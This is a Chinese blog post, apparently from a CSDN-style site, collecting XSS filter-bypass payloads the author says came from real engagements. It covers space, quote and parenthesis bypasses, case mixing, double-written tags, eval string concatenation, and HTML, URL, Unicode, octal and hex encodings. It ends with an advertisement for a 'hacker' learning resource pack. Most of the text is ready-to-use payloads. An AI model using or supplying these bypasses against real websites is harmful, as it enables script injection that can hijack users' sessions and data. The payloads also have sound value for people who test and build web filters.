以下姿势都是笔者在实战中经历过的,并且记录下来,时间可能比较久远具体的payload在实战中不一定能触发,但是绕过的思路还是以此基础进行改进的,这里笔者将一些payload在这里分享给各位师傅
绕过空格过滤
用 / 代替空格
<img/src="x"/onerror=alert(1);>``<img/src="x"onerror=alert(1);>
绕过引号过滤
在html标签中可以不用引号,在js中可以用反引号代替
<img src=x onerror=alert(`xss`);>
绕过括号过滤
throw语句绕过
<img src=x onerror="javascript:window.onerror=alert;throw 1">``<a onmouseover="javascript:window.onerror=alert;throw 1>
绕过关键字过滤
大小写绕过
<sCRiPt>alert(1);</sCrIpT>``<ImG sRc=x onerRor=alert(1);>
双写绕过
<scrscriptipt>alert(1);</scrscriptipt>``<imimgg srsrcc=x onerror=alert(1);>
字符串拼接绕过
利用eval()函数
<img src="x" onerror="a='aler';b='t';c='(1)';eval(a+b+c)">```<img src="x"onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)"> // 在js中,我们可以用反引号代替单双引号`
利用top
<script>top["al"+"ert"](`xss`);</script>
字符编码绕过
HTML实体编码
通过xss黑魔法svg
<svg><script>alert("xss")</script>``<svg><script>alert(1)</script>``<svg><script>alert(1)</script>
URL编码
<a href=javascript:alert("xss")>test</a>``<a href=javascript:%61%6c%65%72%74%28%22%78%73%73%22%29>test</a>`` ``<iframe src=javascript:alert("xss")></iframe>``<iframe src="javascript:%61%6c%65%72%74%28%22%78%73%73%22%29"></iframe>
JavaScript编码
Unicode编码
<script>alert("xss")</script>``<script>\u0061\u006C\u0065\u0072\u0074("xss")</script>``<script>\u0061\u006C\u0065\u0072\u0074("\u0078\u0073\u0073")</script>` `<a href=javascript:alert("xss")>test</a>``<a href=javascript:\u0061\u006C\u0065\u0072\u0074("xss")>test</a>``<a href=javascript:\u0061\u006C\u0065\u0072\u0074("\u0078\u0073\u0073")>test</a>
混合编码
<a href=javascript:alert("xss")>test</a>`` ``// 对javascript:进行HTML编码, 对alert("xss")进行URL编码``<a href=javascript:%61%6c%65%72%74%28%22%78%73%73%22%29>test</a>``// 对javascript:进行HTML编码, 对alert进行Unicode编码``<a href=javascript:\u0061\u006C\u0065\u0072\u0074("xss")>test</a>`` ``// 对\u0061\u006c\u0065\u0072\u0074 进行URL编码``<a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34("xss")>test</a>
tips:
<div id='s'>test</div>` ` ``<script> `` var search = "..."; `` document.getElementById('s').innerHTML = search;``</script>
遇见该模板时,此时如果过滤了 <、>、'、"、&、% 等等这些字符的话,我们便可以用JavaScript编码的方法将XSS向量全部编码,即 <iframe src=javascript:alert(‘xss’)> 的以下编码都可以弹窗:
// Unicode编码``\u003C\u0069\u0066\u0072\u0061\u006D\u0065\u0020\u0073\u0072\u0063\u003D\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003A\u0061\u006C\u0065\u0072\u0074\u0028\u0027\u0078\u0073\u0073\u0027\u0029\u003E\u003C\u002F\u0069\u0066\u0072\u0061\u006D\u0065\u003E`` ``// 八进制编码``\74\151\146\162\141\155\145\40\163\162\143\75\152\141\166\141\163\143\162\151\160\164\72\141\154\145\162\164\50\47\170\163\163\47\51\76\74\57\151\146\162\141\155\145\76` ` ``// 十六进制编码``\x3c\x69\x66\x72\x61\x6d\x65\x20\x73\x72\x63\x3d\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3a\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29\x3e\x3c\x2f\x69\x66\x72\x61\x6d\x65\x3e
还有一种让八进制和十六进制编码的XSS攻击向量执行的方式便是将XSS向量放在某个能把字符串当做JavaScript代码来执行的函数里,比如eval()、setTimeout()、setInterval()等函数。如下示例:
•<script>alert("xss")</script>` `<script>eval("\141\154\145\162\164\50\42\170\163\163\42\51")</script>`` ``•<a href=javascript:alert("xss")>test</a>` `<a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")>test</a>`` ``•<img src=x onerror=alert("xss")>` `<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
为了帮助大家更好的学习网络安全,我给大家准备了一份网络安全入门/进阶学习资料,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂这些资料!
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取